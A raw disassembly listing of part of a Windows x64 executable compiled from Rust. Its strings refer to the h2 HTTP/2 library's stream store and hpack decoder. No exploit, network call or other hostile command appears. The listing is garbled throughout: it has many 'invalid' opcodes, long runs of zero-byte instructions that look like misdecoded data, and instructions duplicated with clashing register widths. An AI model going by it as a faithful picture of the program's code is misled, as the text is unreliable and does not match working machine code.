mov dword [rsp + 0x38], eax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
mov qword [rsp + 0xa8], 0
add byte [rax - 0x73], cl
and al, 0x30
add byte [rax - 0x73], cl
and al, 0x30
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
cwde
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
scasb al, byte [rdi]
adc dword [rax], eax
lea rcx, [rsp + 0x88]
call fcn.1401224d0
add al, ch
pop rbx
mov cl, 0x10
add byte [rax - 0x73], cl
and al, 0x24
invalid
lea rax, [rsp + 0x24]
and al, 0x48
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x30], rax
lea rax, [0x140033810]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
add eax, 0x11ae36
invalid
add eax, 0x11ae36
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x30
and al, 0x30
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x30
and al, 0x30
and al, 0x30
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], 1
add byte [rax], al
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x88]
lea ecx, [rsp + 0x88]
lea ecx, [rsp + 0x88]
call fcn.1401224d0
adc byte [rax], al
lea rcx, str.StreamRef::drop__mutex_poisoned
lea r8, [0x1401333b8]
lea eax, [0x1401333b8]
lea eax, [0x1401333b8]
mov edx, 0x1f
call fcn.140122c90
add al, ch
cdq
mov eax, 0x8d480010
or eax, 0x12e0ba
loopne case.0x1400151c1.379
invalid
lea rcx, str.assertion_failed:_self.ref_count___0
loopne case.0x1400151c1.379
add byte [rbp + rcx*4 + 5], cl
feni8087_nop
adc al, byte [rax]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_stream.rsassertion_failed:_self.ref_count___usize::MAX
mov edx, 0x24
call fcn.140122660
int3
add dword [rbx + rcx*4 + 0x51], eax
or byte [rbx + rcx*4 + 0x49], al
mov ecx, dword [rcx + 0xc]
invalid
mov ecx, dword [rcx + 0xc]
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x2c], r9d
and al, 0x2c
cmp qword [rax + 0x10], r10
cmp dword [rax + 0x10], edx
jbe 0x1400174c7
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rax + 8]
imul r10, r10, 0x130
cmp dword [rax + r10], 2
je 0x1400174c7
invalid
mov rax, qword [rax + 8]
mov eax, dword [rax + 8]
imul r10, r10, 0x130
xor byte [rcx], al
add byte [rax], al
cmp dword [rax + r10], 2
adc byte [rdx], al
je 0x1400174c7
jg 0x140017495
add rax, r10
add eax, edx
cmp dword [rax + 0x114], r9d
add byte [rbp + 0x73], dh
jne 0x1400174c7
cmp qword [rax + 0x78], 0
cmp dword [rax + 0x78], 0
jne 0x1400174be
movzx r9d, byte [rax + 0x50]
mov dh, 0x48
push rax
cmp r9b, 5
jbe 0x1400174be
pop rax
mov rsi, rcx
mov rbx, r8
cmp byte [r8 + 0x58], 1
pop rax
add dword [rbp + 0xf], esi
pop rax
add dword [rbp + 0xf], esi
cmp r9b, 0xa
jne case.0x140010cd8.469
xor r8d, r8d
cmp byte [rax + 0x51], 1
js 0x1400174d0
invalid
je 0x140017488
js 0x1400174d0
add dword [rsi + rax + 0x41], esi
mov r8d, 8
mov eax, 8
add byte [rax - 0x73], cl
mov ah, byte [rax + 0x48000000]
add byte [rax], al
lea rax, [rdx + 0x140]
lea rcx, [rdx + 0xa0]
add byte [rax], al
lea rax, [rdx + 0x140]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov rdi, rdx
mov rdx, rsi
mov r9, rbx
mov ecx, ebx
call fcn.140015c40
xchg edi, eax
out 0xff, eax
dec dword [rax - 0x77]
invalid
invalid
mov rcx, rdi
stc
mov rdx, rsi
mov edx, esi
mov r8, rbx
add rsp, 0x70
invalid
jo 0x140017512
invalid
jo 0x140017512
pop rdi
pop rsi
jmp fcn.140013360
nop
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
lea rax, [rsp + 0x2c]
and al, 0x2c
mov qword [rsp + 0x30], rax
lea rax, [0x140033810]
lea eax, [0x140033810]
xor byte [rax - 0x73], cl
lea eax, [0x140033810]
add eax, 0x1c338
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
add byte [rax - 0x39], cl
and al, 0x60
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea edx, [0x1401321d8]
lea edx, [0x1401321d8]
lodsb al, byte [rsi]
adc dword [rax], eax
lea rcx, [rsp + 0x40]
call fcn.1401224d0
scasd eax, dword [rdi]
adc byte [rax], al
call fcn.1401224d0
scasd eax, dword [rdi]
adc byte [rax], al
int3
push rdi
push rbp
push rbx
sub rsp, 0x50
movzx eax, byte [rdx + 0x118]
sbb byte [rcx], al
add byte [rax], al
cmp eax, 3
jne 0x14001753e
invalid
or dh, al
mov byte [rcx], 3
add dword [rbx], eax
jmp 0x14001768c
add byte [rax], al
test eax, eax
je 0x140017599
push rdi
push rdi
cmp eax, 1
jne 0x1400175ba
lea rax, [rdx + 0x138]
mov r11, qword [rdx + 0x120]
mov r8, qword [rdx + 0x128]
add byte [rax], al
add byte [rax], al
mov r9, qword [rdx + 0x130]
lea r10, [rsp + 0x30]
mov rsi, rcx
mov rcx, r10
mov rdi, rdx
mov rdx, rax
call qword [r11]
mov rcx, rsi
mov eax, dword [rdi + 0x11c]
movzx edx, byte [rdi + 0x119]
mov dword [rsp + 0x2c], eax
mov byte [rsp + 0x29], dl
mov byte [rsp + 0x28], 1
jmp 0x140017645
movzx eax, byte [rdx + 0x119]
mov rdx, qword [rdx + 0x11c]
mov qword [rsp + 0x2c], rdx
mov byte [rsp + 0x29], al
mov byte [rsp + 0x28], 0
jmp 0x140017645
movzx ebp, byte [rdx + 0x119]
xor eax, eax
cmp rax, qword [rdx + 0x120]
jno 0x1400175d8
movabs rsi, 0x8000000000000000
jmp 0x14001762c
mov rbx, qword [rdx + 0x128]
mov rsi, qword [rdx + 0x130]
test rsi, rsi
je 0x140017613
js 0x140017697
mov r14, rcx
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rsi
call fcn.1400f8ae0
test rax, rax
je 0x14001769c
mov rdi, rax
jmp 0x14001761b
mov r14, rcx
mov edi, 1
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
call fcn.140121660
mov rcx, r14
mov byte [rsp + 0x29], bpl
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], rsi
mov byte [rsp + 0x28], 2
mov rax, qword [rsp + 0x48]
mov qword [rcx + 0x20], rax
movzx eax, byte [rsp + 0x28]
movzx edx, byte [rsp + 0x29]
movzx r8d, word [rsp + 0x2a]
mov r9d, dword [rsp + 0x2c]
mov r10, qword [rsp + 0x30]
mov r11, qword [rsp + 0x38]
mov qword [rcx + 0x10], r11
mov r11, qword [rsp + 0x40]
mov qword [rcx + 0x18], r11
mov byte [rcx], al
mov byte [rcx + 1], dl
mov word [rcx + 2], r8w
mov dword [rcx + 4], r9d
mov qword [rcx + 8], r10
add rsp, 0x50
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
call fcn.1400067e0
mov ecx, 1
mov rdx, rsi
call fcn.140122170
int3
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
dec r8
add rax, r8
cmovae rax, r8
mov qword [rsi + 0x20], rax
inc rcx
mov qword [rsi + 0x28], rcx
lea rax, [rax + rax*8]
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movaps xmm3, xmmword [rsp + 0x60]
movups xmmword [rdx + rax*8], xmm0
movups xmmword [rdx + rax*8 + 0x10], xmm1
movups xmmword [rdx + rax*8 + 0x20], xmm2
movups xmmword [rdx + rax*8 + 0x30], xmm3
mov rcx, qword [rsp + 0x70]
mov qword [rdx + rax*8 + 0x40], rcx
xor edi, edi
mov rcx, r12
mov rdx, rbx
xor r8d, r8d
call fcn.14000ff90
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0x190]
movups xmm1, xmmword [rsp + 0x1a0]
movups xmm2, xmmword [rsp + 0x1b0]
movups xmm3, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x128]
mov rdx, r12
call fcn.140010260
mov rdx, qword [rsp + 0x100]
mov rax, qword [rsp + 0x108]
cmp qword [rdx + 8], rax
jbe 0x140018243
mov rcx, qword [rdx]
movzx eax, byte [rcx + rax]
test al, al
js 0x140017e00
cmp al, 0x3f
ja 0x140017ee0
movzx ecx, al
and ecx, 0x30
je 0x140017dec
cmp ecx, 0x10
jne 0x140018080
mov rcx, rbp
mov rdx, rsi
mov r8, rbx
xor r9d, r9d
call fcn.140010a40
jmp 0x140017e2e
mov rcx, r12
mov rdx, rbx
mov r8b, 7
call fcn.14000f6e0
cmp byte [rsp + 0x30], 0
jne 0x140018305
mov r8, qword [rsp + 0x38]
mov rcx, rbp
mov rdx, qword [rsp + 0xb0]
call fcn.14000f7f0
movzx r14d, byte [rsp + 0xb8]
mov r13, rbp
movzx ebp, byte [rsp + 0xf8]
cmp bpl, 8
je 0x14001830b
lea rcx, [rsp + 0xb9]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x2f]
movups xmmword [r15 + 0x2f], xmm3
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movups xmmword [r15], xmm0
mov eax, dword [rcx + 0x40]
mov ecx, dword [rcx + 0x43]
mov dword [r15 + 0x43], ecx
mov dword [r15 + 0x40], eax
xor edi, edi
mov rcx, r13
mov rdx, rbx
xor r8d, r8d
call fcn.14000ff90
mov rax, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
mov r8, qword [rsp + 0xc8]
lea rcx, [rsp + 0xd0]
call qword [rax + 0x10]
mov byte [rsp + 0x30], r14b
mov byte [rsp + 0x70], bpl
lea rcx, [rsp + 0x128]
mov rdx, r12
call fcn.140010260
mov rbp, r13
jmp 0x140017dae
mov rcx, r12
mov rdx, rsi
mov r8, rbx
mov r9b, 1
call fcn.140010a40
movzx r14d, byte [rsp + 0x30]
movzx eax, byte [rsp + 0x70]
cmp al, 8
je 0x14001830b
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x2f]
lea r8, [rsp + 0x191]
movups xmmword [r8 + 0x2f], xmm3
movups xmmword [r8 + 0x20], xmm2
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
mov ecx, dword [r15 + 0x40]
mov edx, dword [r15 + 0x43]
mov dword [r8 + 0x43], edx
mov dword [r8 + 0x40], ecx
mov byte [rsp + 0x190], r14b
mov byte [rsp + 0x1d0], al
mov rcx, rbp
lea rdx, [rsp + 0x190]
call 0x140011a60
mov rcx, rbp
call fcn.140015b40
mov r14, rax
nop dword [rax]
mov rcx, qword [rsi + 0x30]
mov rax, qword [rsi + 0x38]
lea rdx, [rcx + r14]
cmp rdx, rax
jbe 0x1400181c1
mov rdx, qword [rsi + 0x28]
test rdx, rdx
je 0x1400181bb
dec rdx
mov qword [rsi + 0x28], rdx
add rdx, qword [rsi + 0x20]
mov r8, qword [rsi + 0x10]
mov r9, qword [rsi + 0x18]
cmp rdx, r8
mov r10d, 0
cmovae r10, r8
sub rdx, r10
lea r8, [rdx + rdx*8]
movups xmm0, xmmword [r9 + r8*8]
movups xmm1, xmmword [r9 + r8*8 + 0x10]
movups xmm2, xmmword [r9 + r8*8 + 0x20]
movups xmm3, xmmword [r9 + r8*8 + 0x30]
movaps xmmword [rsp + 0x180], xmm3
movaps xmmword [rsp + 0x170], xmm2
movaps xmmword [rsp + 0x160], xmm1
movaps xmmword [rsp + 0x150], xmm0
movzx edx, byte [r9 + r8*8 + 0x40]
mov r10d, dword [r9 + r8*8 + 0x44]
mov dword [rsp + 0xab], r10d
mov r8d, dword [r9 + r8*8 + 0x41]
mov dword [rsp + 0xa8], r8d
cmp dl, 8
je 0x1400181bb
movaps xmm0, xmmword [rsp + 0x150]
movaps xmm1, xmmword [rsp + 0x160]
movaps xmm2, xmmword [rsp + 0x170]
movaps xmm3, xmmword [rsp + 0x180]
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x70], dl
mov eax, dword [rsp + 0xa8]
mov ecx, dword [rsp + 0xab]
add byte [rcx - 0x77], al
mov dword [r15 + 0x40], eax
add byte [rcx - 0x77], al
mov dword [r15 + 0x40], eax
mov rcx, r12
call fcn.140015b40
sub qword [rsi + 0x30], rax
mov rcx, r12
call fcn.1400950c0
jmp 0x140017f70
cmp al, 0x20
setae cl
test cl, dil
je 0x1400183e6
mov rcx, r12
mov rdx, rbx
mov r8b, 5
call fcn.14000f6e0
cmp byte [rsp + 0x30], 0
jne 0x140018305
mov rax, qword [rsp + 0x38]
cmp rax, qword [rsi + 0x60]
ja 0x1400183fc
mov qword [rsi + 0x38], rax
cmp qword [rsi + 0x30], rax
ja 0x1400180f6
mov rcx, r12
mov rdx, rbx
xor r8d, r8d
call fcn.14000ff90
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call qword [rax + 0x10]
mov dil, 1
jmp 0x140017dae
cmp rcx, qword [rsi + 0x38]
jbe 0x1400180c0
mov rax, qword [rsi + 0x28]
test rax, rax
je 0x140018404
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x20]
add rax, rdx
dec rax
cmp rax, rcx
mov edx, 0
cmovae rdx, rcx
sub rax, rdx
lea rcx, [rax + rax*8]
shl rcx, 3
add rcx, qword [rsi + 0x18]
call fcn.140015b40
mov rcx, qword [rsi + 0x30]
sub rcx, rax
mov qword [rsi + 0x30], rcx
mov rax, qword [rsi + 0x28]
test rax, rax
je 0x1400180f0
dec rax
mov qword [rsi + 0x28], rax
add rax, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x10]
mov r8, qword [rsi + 0x18]
cmp rax, rdx
mov r9d, 0
cmovae r9, rdx
sub rax, r9
lea rax, [rax + rax*8]
mov rdx, qword [r8 + rax*8 + 0x40]
mov qword [rsp + 0x70], rdx
movups xmm0, xmmword [r8 + rax*8]
movups xmm1, xmmword [r8 + rax*8 + 0x10]
movups xmm2, xmmword [r8 + rax*8 + 0x20]
movups xmm3, xmmword [r8 + rax*8 + 0x30]
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
cmp dl, 8
je 0x1400180f0
mov rcx, r12
call fcn.1400950c0
mov rcx, qword [rsi + 0x30]
jmp 0x1400180f0
add rcx, r14
mov rdx, rcx
cmp rdx, rax
jbe 0x1400181d3
mov rcx, rbp
call fcn.1400950c0
jmp 0x140017d36
mov qword [rsi + 0x30], rdx
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0xb8]
movups xmm1, xmmword [rsp + 0xc8]
movups xmm2, xmmword [rsp + 0xd8]
movups xmm3, xmmword [rsp + 0xe8]
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x28]
cmp rcx, rax
jne 0x140017ce4
mov rcx, qword [rsp + 0xb0]
call fcn.140022090
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x28]
jmp 0x140017ce4
mov r8, qword [rsp + 0x80]
cmp r8, 2
je 0x1400183c2
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
test r8b, 1
je 0x140018285
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov rsi, qword [rsp + 0x80]
cmp rsi, 2
je 0x1400183c2
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rsp + 0x88]
mov ecx, dword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
add byte [rax], al
test sil, 1
je 0x1400182ca
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
add rcx, 0x10
call qword [rax + 0x80]
test rsi, rsi
je 0x1400183c2
mov rax, qword [rsp + 0x88]
lock dec qword [rax]
jne 0x1400183c2
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
call case.0x14009a20c.177
jmp 0x1400183c2
movzx r14d, byte [rsp + 0x31]
mov r8, qword [rsp + 0x80]
cmp r8, 2
add cl, byte [rdi]
invalid
lahf
add byte [rax], al
invalid
add cl, byte [rdi]
test byte [rdi + 0x48000000], bl
lea edx, [rsp + 0x98]
lea rdx, [rsp + 0x98]
mov rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
test r8b, 1
je 0x14001834d
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov rsi, qword [rsp + 0x80]
cmp rsi, 2
je 0x1400183bc
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
test sil, 1
je 0x14001838e
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
test rsi, rsi
je 0x1400183bc
mov rax, qword [rsp + 0x88]
lock dec qword [rax]
jne 0x1400183bc
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
call case.0x14009a20c.177
cmp r14b, 0xc
jne 0x1400183cf
mov r14b, 0x13
cmp byte [rsp + 0x2e], 1
je 0x1400183cf
mov r14b, 0x15
mov eax, r14d
add rsp, 0x1d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp al, 0x20
mov eax, 0xa
mov r14d, 3
mov esi, 3
mov esi, 3
cmovae r14d, eax
jmp 0x14001830b
mov r14b, 0xa
jmp 0x14001830b
lea rcx, [0x140131eb2]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpackdecoder.rsSize_of_table___0__but_no_headers_left_
mov edx, 0x28
call fcn.140122c90
int3
jle 0x1400184ab
push 0x40468b48
mov qword [rsp + 0x530], rax
movups xmm0, xmmword [rsi + 0x30]
movups xmmword [rsp + 0x520], xmm0
cmp qword [rsi + 0x50], 0
je 0x1400184b6
mov r8, qword [rsi + 0x48]
mov rcx, qword [0x14019f258]
insd dword [rdi], dx
sbb byte [rax], al
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x448], 2
mov qword [rsp + 0x468], 0
mov rcx, qword [rsp + 0x88]
mov rax, qword [rcx]
mov rbx, qword [rcx + 8]
mov rsi, qword [rcx + 0x10]
mov qword [rcx], 2
test rax, rax
je 0x14001853d
cmp rax, 1
jne 0x14001886b
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x75], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rbp + rcx*4 + 0x70], cl
sbb byte [rcx + rcx*4 - 0xf], cl
mov rax, qword [rsp + 0x88]
lea r14, [rax + 0x18]
mov rcx, r14
mov rdx, rbx
call fcn.140022890
mov rcx, r14
mov rdx, rsi
call fcn.140022890
cmp rbx, 0x1f
sti
invalid
jae 0x140018579
sti
invalid
or bl, 0x20
mov rax, qword [rsp + 0x60]
mov r13d, ebx
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
je case.0x140016398.420
jmp 0x140018659
mov rax, qword [rsp + 0x88]
lea rcx, [rax + 0x18]
mov rdx, rbx
call fcn.140022890
cmp rbx, 0x1f
jae 0x14001869f
add byte [rax], al
add byte [rax], al
or bl, 0x20
mov rax, qword [rsp + 0x60]
mov r14d, ebx
mov rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
cmp rcx, rax
je 0x140018830
invalid
add cl, ch
rol byte [rdx], 1
add byte [rax], al
jmp 0x140018849
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x1400185a1
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x3f
inc rax
inc eax
inc eax
mov qword [rsp + 0xb0], rax
cmp rax, rcx
ja 0x14001bb43
add rbx, 0xffffffffffffffe1
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x60], eax
cmp rbx, 0x80
jb 0x14001b9f8
mov rcx, qword [rsp + 0x68]
lea r14, [rsp + 0x58]
nop
cmp rcx, rax
jne 0x1400185fc
mov edx, 1
mov rcx, r14
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, ebx
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0xb0], rax
cmp rax, rcx
ja 0x14001bb43
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x60], rax
mov r13, rbx
shr r13, 7
cmp rbx, 0x3fff
mov rbx, r13
jmp 0x1400186ac
stosb byte [rdi], al
jmp 0x1400186ac
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140018659
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400087c0
jno 0x14001864e
invalid
dec dword [rax - 0x75]
and al, 0x60
jno 0x14001864e
invalid
dec dword [rax - 0x75]
and al, 0x60
mov rcx, qword [rsp + 0x68]
and al, 0x68
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], r13b
inc rax
mov qword [rsp + 0xb0], rax
cmp rax, rcx
ja 0x14001bb43
mov qword [rsp + 0x60], rax
cmp rsi, 0x1f
jae 0x14001876b
or sil, 0x20
mov r14d, esi
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
je 0x140018830
jmp 0x140018849
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x68]
cmp rcx, rax
jne 0x1400186c7
lea rcx, [rsp + 0x58]
lea ecx, [rsp + 0x58]
mov edx, 1
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x3f
inc rax
mov qword [rsp + 0xb0], rax
cmp rax, rcx
ja 0x14001bb43
add rbx, 0xffffffffffffffe1
mov qword [rsp + 0x60], rax
cmp rbx, 0x80
jb 0x14001ba0e
mov rcx, qword [rsp + 0x68]
lea rsi, [rsp + 0x58]
nop word cs:[rax + rax]
cmp rcx, rax
jne 0x14001872c
mov edx, 1
mov rcx, rsi
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, ebx
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
add byte [rax - 1], cl
ror byte [rax - 0x77], 0x84
and al, 0xb0
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xfffffffffffffff5
xor eax, dword [rax]
invalid
add byte [rax - 1], cl
ror byte [rax - 0x77], 0x84
and al, 0xb0
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xfffffffffffffff5
xor eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x60
mov qword [rsp + 0x60], rax
mov r14, rbx
shr r14, 7
cmp rbx, 0x3fff
mov rbx, r14
ja 0x140018710
jmp 0x140018826
mov rcx, qword [rsp + 0x68]
and al, 0x68
cmp rcx, rax
jne 0x14001878e
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], 0x3f
inc rax
mov qword [rsp + 0xb0], rax
cmp rax, rcx
ja 0x14001bb43
add rsi, 0xffffffffffffffe1
mov qword [rsp + 0x60], rax
cmp rsi, 0x80
add byte [rax], 0
add byte [rdi], cl
invalid
invalid
xor al, byte [rax]
invalid
add byte [rax], 0
add byte [rdi], cl
invalid
mov rcx, qword [rsp + 0x68]
lea rbx, [rsp + 0x58]
nop dword [rax + rax]
cmp rcx, rax
jne 0x1400187ec
mov edx, 1
mov rcx, rbx
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov edx, esi
or dl, 0x80
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax], dl
inc rax
mov qword [rsp + 0xb0], rax
cmp rax, rcx
ja 0x14001bb43
mov qword [rsp + 0x60], rax
and al, 0x60
mov r14, rsi
shr r14, 7
cmp rsi, 0x3fff
mov rsi, r14
div byte [rdi - 0x56]
div byte [rdi - 0x56]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jne 0x140018849
lea rcx, [rsp + 0x58]
mov edx, 1
call fcn.1400087c0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
mov rdx, qword [rsp + 0x58]
mov byte [rdx + rax], r14b
inc rax
mov qword [rsp + 0xb0], rax
cmp rax, rcx
ja 0x14001bb43
mov qword [rsp + 0x60], rax
add r15, r12
mov qword [rsp + 0x470], 5
mov qword [rsp + 0x2f8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x518]
movups xmm1, xmmword [rsp + 0x528]
movups xmmword [rsp + 0x300], xmm0
movups xmmword [rsp + 0x310], xmm1
adc byte [rbx], al
add byte [rax], al
and al, 0x18
add eax, 0x100f0000
mov word [rax + rbp], fs
add eax, 0x110f0000
test byte [rax + rax], ah
add eax, dword [rax]
add byte [rdi], cl
adc dword [rsp + 0x310], ecx
adc byte [rbx], al
add byte [rax], al
adc byte [rbx], al
add byte [rax], al
mov qword [rsp + 0x320], r12
mov qword [rsp + 0x328], r12
mov qword [rsp + 0x330], rdi
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x38
add eax, dword [rax]
add byte [rax - 0x73], cl
mov word [rax + rax*2], fs
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x38
invalid
add byte [rax], al
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0x28
add eax, dword [rax]
add byte [rax - 0x77], cl
mov esp, 0x33024
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x38
add eax, dword [rax]
mov esp, 0x33824
add byte [rax - 0x73], cl
mov word [rax + rax*2], fs
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x38
add eax, 0xb8410000
add byte [rax], al
mov r8d, 0xa0
call fcn.140121660
lea edx, [rax]
invalid
add byte [rax], al
mov r8d, 0xa0
call fcn.140121660
lea edx, [rax]
invalid
lea edx, [rax]
add byte [rax - 0x75], cl
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rcx + 0x18]
mov qword [rsp + 0x240], rax
